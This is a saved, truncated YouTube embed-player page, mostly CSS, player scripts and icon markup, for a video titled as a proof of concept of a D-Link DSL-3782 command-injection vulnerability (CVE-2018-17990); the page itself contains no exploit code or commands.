icode-range:U+0000-00FF,U+0131,U+0152-0153,U+02BB-02BC,U+02C6,U+02DA,U+02DC,U+2000-206F,U+2074,U+20AC,U+2122,U+2191,U+2193,U+2212,U+2215,U+FEFF,U+FFFD;}@font-face{font-family:'Roboto';font-style:italic;font-weight:400;src:url(//fonts.gstatic.com/s/roboto/v18/KFOkCnqEu92Fr1Mu51xFIzIFKw.woff2)format('woff2');unicode-range:U+0460-052F,U+1C80-1C88,U+20B4,U+2DE0-2DFF,U+A640-A69F,U+FE2E-FE2F;}@font-face{font-family:'Roboto';font-style:italic;font-weight:400;src:url(//fonts.gstatic.com/s/roboto/v18/KFOkCnqEu92Fr1Mu51xMIzIFKw.woff2)format('woff2');unicode-range:U+0400-045F,U+0490-0491,U+04B0-04B1,U+2116;}@font-face{font-family:'Roboto';font-style:italic;font-weight:400;src:url(//fonts.gstatic.com/s/roboto/v18/KFOkCnqEu92Fr1Mu51xEIzIFKw.woff2)format('woff2');unicode-range:U+1F00-1FFF;}@font-face{font-family:'Roboto';font-style:italic;font-weight:400;src:url(//fonts.gstatic.com/s/roboto/v18/KFOkCnqEu92Fr1Mu51xLIzIFKw.woff2)format('woff2');unicode-range:U+0370-03FF;}@font-face{font-family:'Roboto';font-style:italic;font-weight:400;src:url(//fonts.gstatic.com/s/roboto/v18/KFOkCnqEu92Fr1Mu51xHIzIFKw.woff2)format('woff2');unicode-range:U+0102-0103,U+0110-0111,U+0128-0129,U+0168-0169,U+01A0-01A1,U+01AF-01B0,U+1EA0-1EF9,U+20AB;}@font-face{font-family:'Roboto';font-style:italic;font-weight:400;src:url(//fonts.gstatic.com/s/roboto/v18/KFOkCnqEu92Fr1Mu51xGIzIFKw.woff2)format('woff2');unicode-range:U+0100-024F,U+0259,U+1E00-1EFF,U+2020,U+20A0-20AB,U+20AD-20CF,U+2113,U+2C60-2C7F,U+A720-A7FF;}@font-face{font-family:'Roboto';font-style:italic;font-weight:400;src:url(//fonts.gstatic.com/s/roboto/v18/KFOkCnqEu92Fr1Mu51xIIzI.woff2)format('woff2');unicode-range:U+0000-00FF,U+0131,U+0152-0153,U+02BB-02BC,U+02C6,U+02DA,U+02DC,U+2000-206F,U+2074,U+20AC,U+2122,U+2191,U+2193,U+2212,U+2215,U+FEFF,U+FFFD;}</style><script name="www-roboto">if (document.fonts && document.fonts.load) {document.fonts.load("400 10pt Roboto", "");document.fonts.load("500 10pt Roboto", "");}</script> <link rel="stylesheet" href="./www-player-webp.css" name="www-player">
<style>html {overflow: hidden; }body {font: 12px Roboto, Arial, sans-serif;background-color: #000;color: #fff;height: 100%;width: 100%;overflow: hidden;position: absolute;margin: 0;padding: 0;}#player {width: 100%;height: 100%;}h1 {text-align: center;color: #fff;}h3 {margin-top: 6px;margin-bottom: 3px;}.player-unavailable {position: absolute;top: 0;left: 0;right: 0;bottom: 0;padding: 25px;font-size: 13px;background: url(/img/meh7.png) 50% 65% no-repeat;}.player-unavailable .message {text-align: left; margin: 0 -5px 15px;padding: 0 5px 14px;border-bottom: 1px solid #888;font-size: 19px;font-weight: normal;}.player-unavailable a {color: #167ac6;text-decoration: none;}.exp-invert-logo #header:before, .exp-invert-logo .ypc-join-family-header .logo, .exp-invert-logo #footer-logo .footer-logo-icon, .exp-invert-logo #yt-masthead #logo-container .logo, .exp-invert-logo #masthead #logo-container, .exp-invert-logo .admin-masthead-logo a, .exp-invert-logo #yt-sidebar-styleguide-logo #logo { background: no-repeat url(/yts/img/ringo/hitchhiker/logo_small_2x-vfl4_cFqn.png); background-size: 100px 30px; } .exp-invert-logo #yt-masthead #logo-container .logo-red { background: no-repeat url(/yts/img/ringo/hitchhiker/logo_youtube_red_2x-vflOSHA_n.png); background-size: 132px 30px; } @media only screen and (min-width: 0px) and (max-width: 498px), only screen and (min-width: 499px) and (max-width: 704px) { .exp-invert-logo.exp-responsive #yt-masthead #logo-container { background: no-repeat url(/yts/img/ringo/hitchhiker/yt_play_logo_2x-vflXx5Pg3.png); background-size: 40px 28px; } } .guide-sort-container {display: none}</style><script>var ytcsi = {gt: function(n) {n = (n || '') + 'data_';return ytcsi[n] || (ytcsi[n] = {tick: {},info: {}});},now: (window.performance && window.performance.timing &&window.performance.now && window.performance.timing.navigationStart) ?function() {return window.performance.timing.navigationStart +window.performance.now();} :function() {return (new Date()).getTime();},tick: function(l, t, n) {var ticks = ytcsi.gt(n).tick;var v = t || ytcsi.now();if (ticks[l]) {ticks['_' + l] = (ticks['_' + l] || [ticks[l]]);ticks['_' + l].push(v);}ticks[l] = v;},info: function(k, v, n) {ytcsi.gt(n).info[k] = v;},setStart: function(s, t, n) {ytcsi.info('yt_sts', s, n);ytcsi.tick('_start', t, n);}};(function(w, d) {ytcsi.setStart('dhs', w.performance ? w.performance.timing.responseStart : null);var isPrerender = (d.visibilityState || d.webkitVisibilityState) == 'prerender';var vName = (!d.visibilityState && d.webkitVisibilityState)? 'webkitvisibilitychange' : 'visibilitychange';if (isPrerender) {ytcsi.info('prerender', 1);var startTick = function() {ytcsi.setStart('dhs');d.removeEventListener(vName, startTick);};d.addEventListener(vName, startTick, false);}if (d.addEventListener) {d.addEventListener(vName, function() {ytcsi.tick('vc');}, false);}function isGecko() {if (!w.navigator || !w.navigator.userAgent) {return false;}var ua = w.navigator.userAgent;return ua.indexOf('Gecko') > 0 &&ua.toLowerCase().indexOf('webkit') < 0 &&ua.indexOf('Edge') < 0 &&ua.indexOf('Trident') < 0 &&ua.indexOf('MSIE') < 0;}if (isGecko()) {var isHidden = (d.visibilityState || d.webkitVisibilityState) == 'hidden';if (isHidden) {ytcsi.tick('vc');}}var slt = function(el, t) {setTimeout(function() {var n = ytcsi.now();el.loadTime = n;if (el.slt) {el.slt();}}, t);};w.__ytRIL = function(el) {if (!el.getAttribute('data-thumb')) {if (w.requestAnimationFrame) {w.requestAnimationFrame(function() {slt(el, 0);});} else {slt(el, 16);}}};})(window, document);</script><script>var ytcfg = {d: function() {return (window.yt && yt.config_) || ytcfg.data_ || (ytcfg.data_ = {});},get: function(k, o) {return (k in ytcfg.d()) ? ytcfg.d()[k] : o;},set: function() {var a = arguments;if (a.length > 1) {ytcfg.d()[a[0]] = a[1];} else {for (var k in a[0]) {ytcfg.d()[k] = a[0][k];}}}};</script><script>var yterr = yterr || true;</script><script></script> <script src="./www-embed-player.js.下载" name="www-embed-player/www-embed-player"></script>
<script src="./base.js.下载" name="player_ias/base"></script>
<script src="./fetch-polyfill.js.下载" type="text/javascript" name="fetch-polyfill/fetch-polyfill"></script>
<title>D-Link DSL-3782 OS Command Injection PoC (CVE-2018-17990) - YouTube</title>
<link rel="canonical" href="https://www.youtube.com/watch?v=uu6rZuEOzh0">
<script src="chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm/cast_sender.js"></script></head>
<body id="" class="date-20201221 zh_CN ltr exp-invert-logo exp-kevlar-settings exp-responsive exp-search-big-thumbs site-center-aligned site-as-giant-card webkit webkit-537 inverted-hdpi" dir="ltr">
<div id="player" style="width: 100%; height: 100%;"><div class="html5-video-player ytp-exp-bottom-control-flexbox ytp-exp-bigger-button ytp-title-enable-channel-logo ytp-embed ytp-embed-playlist unstarted-mode ytp-hide-controls ytp-large-width-mode" tabindex="-1" id="movie_player" data-version="/s/player/5dd3f3b2/player_ias.vflset/zh_CN/base.js" aria-label="YouTube 视频播放器"><div class="html5-video-container" data-layer="0"><video tabindex="-1" class="video-stream html5-main-video" controlslist="nodownload" style="width: 797px; height: 479px; left: 0px; top: -479px;"></video></div><div class="ytp-gradient-top" data-layer="1"></div><div class="ytp-chrome-top ytp-show-cards-title" data-layer="1"><div class="ytp-title-channel"><div class="ytp-title-beacon"></div><a class="ytp-title-channel-logo" target="_blank" href="https://www.youtube.com/channel/UCnxjJp-aZLXIsxLAB5jF1Cw" aria-label="的照片" style="background-image: url(&quot;https://yt3.ggpht.com/ytc/AAUvwniR6MkegHC7WsrIGVXemxvLWQcPG1RQjan8PFp-_w=s68-c-k-c0x00ffffff-no-rj&quot;);"></a><div class="ytp-title-expanded-overlay" aria-hidden="true"><div class="ytp-title-expanded-heading"><h2 class="ytp-title-expanded-title"><a target="_blank" tabindex="-1" href="https://www.youtube.com/channel/UCnxjJp-aZLXIsxLAB5jF1Cw?feature=emb_ch_name_ex">Lorenzo Comi</a></h2><h3 class="ytp-title-expanded-subtitle">1 位订阅者</h3></div><div class="ytp-button ytp-sb" style="display: none;"><div class="ytp-sb-subscribe" title="以feidi yin的身份订阅" aria-label="订阅频道" data-tooltip-image="https://yt3.ggpht.com/yti/ANoDKi6V7su8j_xcNKBOBkzJVg0NIk4Vg9_pmYHnXA=s20-c" data-tooltip-opaque="true" tabindex="0" role="button"><div class="ytp-sb-text"><div class="ytp-sb-icon"></div>订阅</div></div><div class="ytp-sb-unsubscribe" title="以“feidi yin”的身份订阅" aria-label="退订频道" data-tooltip-image="https://yt3.ggpht.com/yti/ANoDKi6V7su8j_xcNKBOBkzJVg0NIk4Vg9_pmYHnXA=s20-c" data-tooltip-opaque="true" tabindex="0" role="button"><div class="ytp-sb-text"><div class="ytp-sb-icon"></div>已订阅</div></div></div><button class="ytp-button ytp-title-notifications" aria-pressed="false" aria-label="在每个新视频上传时收到通知" style="display: none;"><div class="ytp-title-notifications-on" title="停止在每个新视频上传时收到通知" aria-label="发送订阅内容通知"><svg fill="#fff" height="24px" viewBox="0 0 24 24" width="24px"><path d="M7.58 4.08L6.15 2.65C3.75 4.48 2.17 7.3 2.03 10.5h2c.15-2.65 1.51-4.97 3.55-6.42zm12.39 6.42h2c-.15-3.2-1.73-6.02-4.12-7.85l-1.42 1.43c2.02 1.45 3.39 3.77 3.54 6.42zM18 11c0-3.07-1.64-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.63 5.36 6 7.92 6 11v5l-2 2v1h16v-1l-2-2v-5zm-6 11c.14 0 .27-.01.4-.04.65-.14 1.18-.58 1.44-1.18.1-.24.15-.5.15-.78h-4c.01 1.1.9 2 2.01 2z"></path></svg></div><div class="ytp-title-notifications-off" title="在每个新视频上传时收到通知" aria-label="发送订阅内容通知"><svg fill="#fff" height="24px" viewBox="0 0 24 24" width="24px"><path d="M18 11c0-3.07-1.64-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.63 5.36 6 7.92 6 11v5l-2 2v1h16v-1l-2-2v-5zm-6 11c.14 0 .27-.01.4-.04.65-.14 1.18-.58 1.44-1.18.1-.24.15-.5.15-.78h-4c.01 1.1.9 2 2.01 2z"></path></svg></div></button></div></div><div class="ytp-title"><div class="ytp-title-text"><a class="ytp-title-link yt-uix-sessionlink" target="_blank" data-sessionlink="feature=player-title" tabindex="-1" href="https://www.youtube.com/watch?v=uu6rZuEOzh0">D-Link DSL-3782 OS Command Injection PoC (CVE-2018-17990)</a><div class="ytp-title-subtext"><a class="ytp-title-channel-name" target="_blank" href="https://www.youtube.com/embed/uu6rZuEOzh0"></a></div></div></div><div class="ytp-chrome-top-buttons"><button class="ytp-watch-later-button ytp-button ytp-show-watch-later-title" data-tooltip-opaque="true" title="稍后以feidi yin的身份观看" data-tooltip-image="https://yt3.ggpht.com/yti/ANoDKi6V7su8j_xcNKBOBkzJVg0NIk4Vg9_pmYHnXA=s20-c" aria-label="稍后以feidi yin的身份观看"><div class="ytp-watch-later-icon"><svg height="100%" version="1.1" viewBox="0 0 36 36" width="100%"><use class="ytp-svg-shadow" href="#ytp-id-24"></use><path class="ytp-svg-fill" d="M18,8 C12.47,8 8,12.47 8,18 C8,23.52 12.47,28 18,28 C23.52,28 28,23.52 28,18 C28,12.47 23.52,8 18,8 L18,8 Z M16,19.02 L16,12.00 L18,12.00 L18,17.86 L23.10,20.81 L22.10,22.54 L16,19.02 Z" id="ytp-id-24"></path></svg></div><div class="ytp-watch-later-title">稍后观看</div></button><button class="ytp-button ytp-share-button ytp-share-button-visible ytp-show-share-title" title="分享" aria-haspopup="true" aria-owns="ytp-id-26" data-tooltip-opaque="true" aria-label="分享"><div class="ytp-share-icon"><svg height="100%" version="1.1" viewBox="0 0 36 36" width="100%"><use class="ytp-svg-shadow" href="#ytp-id-27"></use><path class="ytp-svg-fill" d="m 20.20,14.19 0,-4.45 7.79,7.79 -7.79,7.79 0,-4.56 C 16.27,20.69 12.10,21.81 9.34,24.76 8.80,25.13 7.60,27.29 8.12,25.65 9.08,21.32 11.80,17.18 15.98,15.38 c 1.33,-0.60 2.76,-0.98 4.21,-1.19 z" id="ytp-id-27"></path></svg></div><div class="ytp-share-title">分享</div></button><button class="ytp-button ytp-copylink-button ytp-show-copylink-title" data-tooltip-opaque="true" title="复制链接" aria-label="复制链接" style="display: none;"><div class="ytp-copylink-icon"><svg height="100%" version="1.1" viewBox="0 0 36 36" width="100%"><use class="ytp-svg-shadow" href="#ytp-id-28"></use><path class="ytp-svg-fill" d="M21.9,8.3H11.3c-0.9,0-1.7,.8-1.7,1.7v12.3h1.7V10h10.6V8.3z M24.6,11.8h-9.7c-1,0-1.8,.8-1.8,1.8v12.3 c0,1,.8,1.8,1.8,1.8h9.7c1,0,1.8-0.8,1.8-1.8V13.5C26.3,12.6,25.5,11.8,24.6,11.8z M24.6,25.9h-9.7V13.5h9.7V25.9z" id="ytp-id-28"></path></svg></div><div class="ytp-copylink-title" aria-hidden="true">复制链接</div></button><button class="ytp-playlist-menu-button ytp-button" aria-owns="ytp-id-22" aria-haspopup="true" aria-label="播放列表" style="display: none;"><div class="ytp-playlist-menu-button-icon"><svg height="100%" version="1.1" viewBox="0 0 36 36" width="100%"><use class="ytp-svg-shadow" href="#ytp-id-23"></use><path d="m 22.53,21.42 0,6.85 5.66,-3.42 -5.66,-3.42 0,0 z m -11.33,0 9.06,0 0,2.28 -9.06,0 0,-2.28 0,0 z m 0,-9.14 13.6,0 0,2.28 -13.6,0 0,-2.28 0,0 z m 0,4.57 13.6,0 0,2.28 -13.6,0 0,-2.28 0,0 z" fill="#fff" id="ytp-id-23"></path></svg></div><div class="ytp-playlist-menu-button-text"></div></button><button class="ytp-button ytp-cards-button" aria-label="显示信息卡" aria-owns="iv-drawer" aria-haspopup="true" data-tooltip-opaque="true" style="display: none;"><span class="ytp-cards-button-icon-default"><div class="ytp-cards-button-icon"><svg height="100%" version="1.1" viewBox="0 0 36 36" width="100%"><use class="ytp-svg-shadow" href="#ytp-id-2"></use><path class="ytp-svg-fill" d="M18,8 C12.47,8 8,12.47 8,18 C8,23.52 12.47,28 18,28 C23.52,28 28,23.52 28,18 C28,12.47 23.52,8 18,8 L18,8 Z M17,16 L19,16 L19,24 L17,24 L17,16 Z M17,12 L19,12 L19,14 L17,14 L17,12 Z" id="ytp-id-2"></path></svg></div><div class="ytp-cards-button-title">信息</div></span><span class="ytp-cards-button-icon-shopping"><div class="ytp-cards-button-icon"><svg height="100%" version="1.1" viewBox="0 0 36 36" width="100%"><path class="ytp-svg-shadow" d="M 27.99,18 A 9.99,9.99 0 1 1 8.00,18 9.99,9.99 0 1 1 27.99,18 z"></path><path class="ytp-svg-fill" d="M 18,8 C 12.47,8 8,12.47 8,18 8,23.52 12.47,28 18,28 23.52,28 28,23.52 28,18 28,12.47 23.52,8 18,8 z m -4.68,4 4.53,0 c .35,0 .70,.14 .93,.37 l 5.84,5.84 c .23,.23 .37,.58 .37,.93 0,.35 -0.13,.67 -0.37,.90 L 20.06,24.62 C 19.82,24.86 19.51,25 19.15,25 c -0.35,0 -0.70,-0.14 -0.93,-0.37 L 12.37,18.78 C 12.13,18.54 12,18.20 12,17.84 L 12,13.31 C 12,12.59 12.59,12 13.31,12 z m .96,1.31 c -0.53,0 -0.96,.42 -0.96,.96 0,.53 .42,.96 .96,.96 .53,0 .96,-0.42 .96,-0.96 0,-0.53 -0.42,-0.96 -0.96,-0.96 z" fill-opacity="1"></path><path class="ytp-svg-shadow-fill" d="M 24.61,18.22 18.76,12.37 C 18.53,12.14 18.20,12 17.85,12 H 13.30 C 12.58,12 12,12.58 12,13.30 V 17.85 c 0,.35 .14,.68 .38,.92 l 5.84,5.85 c .23,.23 .55,.37 .91,.37 .35,0 .68,-0.14 .91,-0.38 L 24.61,20.06 C 24.85,19.83 25,19.50 25,19.15 25,18.79 24.85,18.46 24.61,18.22 z M 14.27,15.25 c -0.53,0 -0.97,-0.43 -0.97,-0.97 0,-0.53 .43,-0.97 .97,-0.97 .53,0 .97,.43 .97,.97 0,.53 -0.43,.97 -0.97,.97 z" fill="#000" fill-opacity="0.15"></path></svg></div><div class="ytp-cards-button-title">购物</div></span></button><div class="ytp-cards-teaser" style="display: none;"><div class="ytp-cards-teaser-box"></div><div class="ytp-cards-teaser-text"><span class="ytp-cards-teaser-label"></span></div></div><button class="ytp-button ytp-overflow-button" title="更多" aria-haspopup="true" aria-owns="ytp-id-29" aria-label="更多"><div class="ytp-overflow-icon"><svg height="100%" viewBox="-5 -5 36 36" width="100%"><path d="M12 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2zm0 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2z" fill="#fff"></path></svg></div></button></div></div><button class="ytp-unmute ytp-popup ytp-button ytp-unmute-animated ytp-unmute-shrink" data-layer="2" style="display: none;"><div class="ytp-unmute-inner"><div class="ytp-unmute-icon"><svg height="100%" version="1.1" viewBox="0 0 36 36" width="100%"><use class="ytp-svg-shadow" href="#ytp-id-1"></use><path class="ytp-svg-fill" d="m 21.48,17.98 c 0,-1.77 -1.02,-3.29 -2.5,-4.03 v 2.21 l 2.45,2.45 c .03,-0.2 .05,-0.41 .05,-0.63 z m 2.5,0 c 0,.94 -0.2,1.82 -0.54,2.64 l 1.51,1.51 c .66,-1.24 1.03,-2.65 1.03,-4.15 0,-4.28 -2.99,-7.86 -7,-8.76 v 2.05 c 2.89,.86 5,3.54 5,6.71 z M 9.25,8.98 l -1.27,1.26 4.72,4.73 H 7.98 v 6 H 11.98 l 5,5 v -6.73 l 4.25,4.25 c -0.67,.52 -1.42,.93 -2.25,1.18 v 2.06 c 1.38,-0.31 2.63,-0.95 3.69,-1.81 l 2.04,2.05 1.27,-1.27 -9,-9 -7.72,-7.72 z m 7.72,.99 -2.09,2.08 2.09,2.09 V 9.98 z" id="ytp-id-1"></path></svg></div><div class="ytp-unmute-text">点按取消静音</div><div class="ytp-unmute-box"></div></div></button><div class="ytp-cued-thumbnail-overlay" data-layer="4" style=""><div class="ytp-cued-thumbnail-overlay-image" style="background-image: url(&quot;https://i.ytimg.com/vi_webp/uu6rZuEOzh0/maxresdefault.webp&quot;);"></div><button class="ytp-large-play-button ytp-button" aria-label="播放"><svg height="100%" version="1.1" viewBox="0 0 68 48" width="100%"><path class="ytp-large-play-button-bg" d="M66.52,7.74c-0.78-2.93-2.49-5.41-5.42-6.19C55.79,.13,34,0,34,0S12.21,.13,6.9,1.55 C3.97,2.33,2.27,4.81,1.48,7.74C0.06,13.05,0,24,0,24s0.06,10.95,1.48,16.26c0.78,2.93,2.49,5.41,5.42,6.19 C12.21,47.87,34,48,34,48s21.79-0.13,27.1-1.55c2.93-0.78,4.64-3.26,5.42-6.19C67.94,34.95,68,24,68,24S67.94,13.05,66.52,7.74z" fill="#f00"></path><path d="M 45,24 27,14 27,34" fill="#fff"></path></svg></button></div><div class="ytp-spinner" data-layer="4" style="display: none;"><div class="ytp-spinner-container"><div class="ytp-spinner-rotator"><div class="ytp-spinner-left"><div class="ytp-spinner-circle"></div></div><div class="ytp-spinner-right"><div class="ytp-spinner-circle"></div></div></div></div><div class="ytp-spinner-message" style="display: none;">如果稍后没有开始播放,请尝试重新启动设备。</div></div><div class="ytp-paid-content-overlay" aria-live="assertive" aria-atomic="true" data-layer="4"><div class="ytp-button ytp-paid-content-overlay-text" style="display: none;"></div></div><div class="ytp-storyboard-framepreview" data-layer="4" style="display: none;"><div class="ytp-storyboard-framepreview-img"></div></div><div data-layer="4" style="display: none;"><div class="ytp-bezel-text-wrapper"><div class="ytp-bezel-text"></div></div><div class="ytp-bezel" role="status"><div class="ytp-bezel-icon"></div></div></div><div class="ytp-doubletap-ui" data-layer="4" style="display: none;"><div class="ytp-doubletap-fast-forward-ve"></div><div class="ytp-doubletap-rewind-ve"></div><div class="ytp-doubletap-static-circle"><div class="ytp-doubletap-ripple"></div></div><div class="ytp-doubletap-overlay-a11y"></div><div class="ytp-doubletap-seek-info-container"><div class="ytp-doubletap-arrows-container"><span class="ytp-doubletap-base-arrow"></span><span class="ytp-doubletap-base-arrow"></span><span class="ytp-doubletap-base-arrow"></span></div><div class="ytp-doubletap-tooltip"><div class="ytp-chapter-seek-text"></div><div class="ytp-doubletap-tooltip-label"></div></div></div></div><div aria-live="polite" data-layer="4" style="display: none;"><div class="ytp-tooltip-text-wrapper"><div class="ytp-tooltip-image"></div><div class="ytp-tooltip-title"></div><span class="ytp-tooltip-text"></span></div><div class="ytp-tooltip-bg"><div class="ytp-tooltip-duration"></div></div></div><div class="ytp-ad-persistent-progress-bar-container" data-layer="4" style="display: none;"><div class="ytp-ad-persistent-progress-bar"></div></div><div class="ytp-remote" data-layer="4" style="display: none;"><div class="ytp-remote-display-status"><div class="ytp-remote-display-status-icon"><svg height="100%" version="1.1" viewBox="0 0 36 36" width="100%"><use class="ytp-svg-shadow" href="#ytp-id-30"></use><path d="M7,24 L7,27 L10,27 C10,25.34 8.66,24 7,24 L7,24 Z M7,20 L7,22 C9.76,22 12,24.24 12,27 L14,27 C14,23.13 10.87,20 7,20 L7,20 Z M25,13 L11,13 L11,14.63 C14.96,15.91 18.09,19.04 19.37,23 L25,23 L25,13 L25,13 Z M7,16 L7,18 C11.97,18 16,22.03 16,27 L18,27 C18,20.92 13.07,16 7,16 L7,16 Z M27,9 L9,9 C7.9,9 7,9.9 7,11 L7,14 L9,14 L9,11 L27,11 L27,25 L20,25 L20,27 L27,27 C28.1,27 29,26.1 29,25 L29,11 C29,9.9 28.1,9 27,9 L27,9 Z" fill="#fff" id="ytp-id-30"></path></svg></div><div class="ytp-remote-display-status-text"></div></div></div><div class="ytp-mdx-popup-dialog" role="dialog" data-layer="4" style="display: none;"><div class="ytp-mdx-popup-dialog-inner-content"><div class="ytp-mdx-popup-title">您已退出帐号</div><div class="ytp-mdx-popup-description">您观看的视频可能会添加到电视的观看记录中,并影响电视上的推荐内容。为避免发生这种情况,请取消并在计算机上登录 YouTube。</div><div class="ytp-mdx-privacy-popup-buttons"><button class="ytp-button ytp-mdx-privacy-popup-cancel">取消</button><button class="ytp-button ytp-mdx-privacy-popup-confirm">确认</button></div></div></div><div class="ytp-pause-overlay ytp-scroll-min ytp-scroll-max" data-layer="4" style="display: none;"><h2 class="ytp-related-title">更多视频</h2><div class="ytp-suggestions" style="height: 99px;"><a class="ytp-suggestion-link" target="_blank" style="transition-delay: 0s; display: none;"><div class="ytp-suggestion-image" style="width: 176.75px; height: 99px;"></div><div class="ytp-suggestion-overlay" style="will-change: opacity;"><div class="ytp-suggestion-title"></div><div class="ytp-suggestion-author"></div><div class="ytp-suggestion-duration"></div></div></a><a class="ytp-suggestion-link" target="_blank" style="transition-delay: 0.05s; display: none;"><div class="ytp-suggestion-image" style="width: 176.75px; height: 99px;"></div><div class="ytp-suggestion-overlay" style="will-change: opacity;"><div class="ytp-suggestion-title"></div><div class="ytp-suggestion-author"></div><div class="ytp-suggestion-duration"></div></div></a><a class="ytp-suggestion-link" target="_blank" style="transition-delay: 0.1s; display: none;"><div class="ytp-suggestion-image" style="width: 176.75px; height: 99px;"></div><div class="ytp-suggestion-overlay" style="will-change: opacity;"><div class="ytp-suggestion-title"></div><div class="ytp-suggestion-author"></div><div class="ytp-suggestion-duration"></div></div></a><a class="ytp-suggestion-link" target="_blank" style="transition-delay: 0.15s; display: none;"><div class="ytp-suggestion-image" style="width: 176.75px; height: 99px;"></div><div class="ytp-suggestion-overlay" style="will-change: opacity;"><div class="ytp-suggestion-title"></div><div class="ytp-suggestion-author"></div><div class="ytp-suggestion-duration"></div></div></a><a class="ytp-suggestion-link" target="_blank" style="transition-delay: 0.2s; display: none;"><div class="ytp-suggestion-image" style="width: 176.75px; height: 99px;"></div><div class="ytp-suggestion-overlay" style="will-change: opacity;"><div class="ytp-suggestion-title"></div><div class="ytp-suggestion-author"></div><div class="ytp-suggestion-duration"></div></div></a><a class="ytp-suggestion-link" target="_blank" style="transition-delay: 0.25s; display: none;"><div class="ytp-suggestion-image" style="width: 176.75px; height: 99px;"></div><div class="ytp-suggestion-overlay" style="will-change: opacity;"><div class="ytp-suggestion-title"></div><div class="ytp-suggestion-author"></div><div class="ytp-suggestion-duration"></div></div></a><a class="ytp-suggestion-link" target="_blank" style="transition-delay: 0.3s; display: none;"><div class="ytp-suggestion-image" style="width: 176.75px; height: 99px;"></div><div class="ytp-suggestion-overlay" style="will-change: opacity;"><div class="ytp-suggestion-title"></div><div class="ytp-suggestion-author"></div><div class="ytp-suggestion-duration"></div></div></a><a class="ytp-suggestion-link" target="_blank" style="transition-delay: 0.35s; display: none;"><div class="ytp-suggestion-image" style="width: 176.75px; height: 99px;"></div><div class="ytp-suggestion-overlay" style="will-change: opacity;"><div class="ytp-suggestion-title"></div><div class="ytp-suggestion-author"></div><div class="ytp-suggestion-duration"></div></div></a><a class="ytp-suggestion-link" target="_blank" style="transition-delay: 0.4s; display: none;"><div class="ytp-suggestion-image" style="width: 176.75px; height: 99px;"></div><div class="ytp-suggestion-overlay" style="will-change: opacity;"><div class="ytp-suggestion-title"></div><div class="ytp-suggestion-author"></div><div class="ytp-suggestion-duration"></div></div></a><a class="ytp-suggestion-link" target="_blank" style="transition-delay: 0.45s; display: none;"><div class="ytp-suggestion-image" style="width: 176.75px; height: 99px;"></div><div class="ytp-suggestion-overlay" style="will-change: opacity;"><div class="ytp-suggestion-title"></div><div class="ytp-suggestion-author"></div><div class="ytp-suggestion-duration"></div></div></a><a class="ytp-suggestion-link" target="_blank" style="transition-delay: 0.5s; display: none;"><div class="ytp-suggestion-image" style="width: 176.75px; height: 99px;"></div><div class="ytp-suggestion-overlay" style="will-change: opacity;"><div class="ytp-suggestion-title"></div><div class="ytp-suggestion-author"></div><div class="ytp-suggestion-duration"></div></div></a><a class="ytp-suggestion-link" target="_blank" style="transition-delay: 0.55s; display: none;"><div class="ytp-suggestion-image" style="width: 176.75px; height: 99px;"></div><div class="ytp-suggestion-overlay" style="will-change: opacity;"><div class="ytp-suggestion-title"></div><div class="ytp-suggestion-author"></div><div class="ytp-suggestion-duration"></div></div></a><a class="ytp-suggestion-link" target="_blank" style="transition-delay: 0.6s; display: none;"><div class="ytp-suggestion-image" style="width: 176.75px; height: 99px;"></div><div class="ytp-suggestion-overlay" style="will-change: opacity;"><div class="ytp-suggestion-title"></div><div class="ytp-suggestion-author"></div><div class="ytp-suggestion-duration"></div></div></a><a class="ytp-suggestion-link" target="_blank" style="transition-delay: 0.65s; display: none;"><div class="ytp-suggestion-image" style="width: 176.75px; height: 99px;"></div><div class="ytp-suggestion-overlay" style="will-change: opacity;"><div class="ytp-suggestion-title"></div><div class="ytp-suggestion-author"></div><div class="ytp-suggestion-duration"></div></div></a><a class="ytp-suggestion-link" target="_blank" style="transition-delay: 0.7s; display: none;"><div class="ytp-suggestion-image" style="width: 176.75px; height: 99px;"></div><div class="ytp-suggestion-overlay" style="will-change: opacity;"><div class="ytp-suggestion-title"></div><div class="ytp-suggestion-author"></div><div class="ytp-suggestion-duration"></div></div></a><a class="ytp-suggestion-link" target="_blank" style="transition-delay: 0.75s; display: none;"><div class="ytp-suggestion-image" style="width: 176.75px; height: 99px;"></div><div class="ytp-suggestion-overlay" style="will-change: opacity;"><div class="ytp-suggestion-title"></div><div class="ytp-suggestion-author"></div><div class="ytp-suggestion-duration"></div></div></a></div><button class="ytp-button ytp-previous" aria-label="显示之前的推荐视频" style="bottom: 65.5px;"><svg height="100%" version="1.1" viewBox="0 0 32 32" width="100%"><path d="M 19.41,20.09 14.83,15.5 19.41,10.91 18,9.5 l -6,6 6,6 z" fill="#fff"></path></svg></button><button class="ytp-button ytp-next" aria-label="显示更多推荐视频" style="bottom: 65.5px;"><svg height="100%" version="1.1" viewBox="0 0 32 32" width="100%"><path d="m 12.59,20.34 4.58,-4.59 -4.58,-4.59 1.41,-1.41 6,6 -6,6 z" fill="#fff"></path></svg></button><button class="ytp-button ytp-collapse" aria-label="隐藏更多视频"><svg height="100%" viewBox="0 0 16 16" width="100%"><path d="M13 4L12 3 8 7 4 3 3 4 7 8 3 12 4 13 8 9 12 13 13 12 9 8z" fill="#fff"></path></svg></button><button class="ytp-button ytp-expand">更多视频</button></div><div class="ytp-multicam-menu" role="dialog" data-layer="5" style="display: none;"><div class="ytp-multicam-menu-header"><div class="ytp-multicam-menu-title">切换摄像机<button class="ytp-multicam-menu-close ytp-button" aria-label="关闭"><svg height="100%" viewBox="0 0 24 24" width="100%"><path d="M19 6.41L17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z" fill="#fff"></path></svg></button></div></div><div class="ytp-multicam-menu-items"></div></div><div class="ytp-playlist-menu" role="dialog" id="ytp-id-22" data-layer="5" style="display: none;"><div class="ytp-playlist-menu-header"><div class="ytp-playlist-menu-title"><a class="ytp-playlist-menu-title-name"></a><button class="ytp-playlist-menu-close ytp-button" aria-label="关闭"><svg height="100%" viewBox="0 0 24 24" width="100%"><path d="M19 6.41L17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 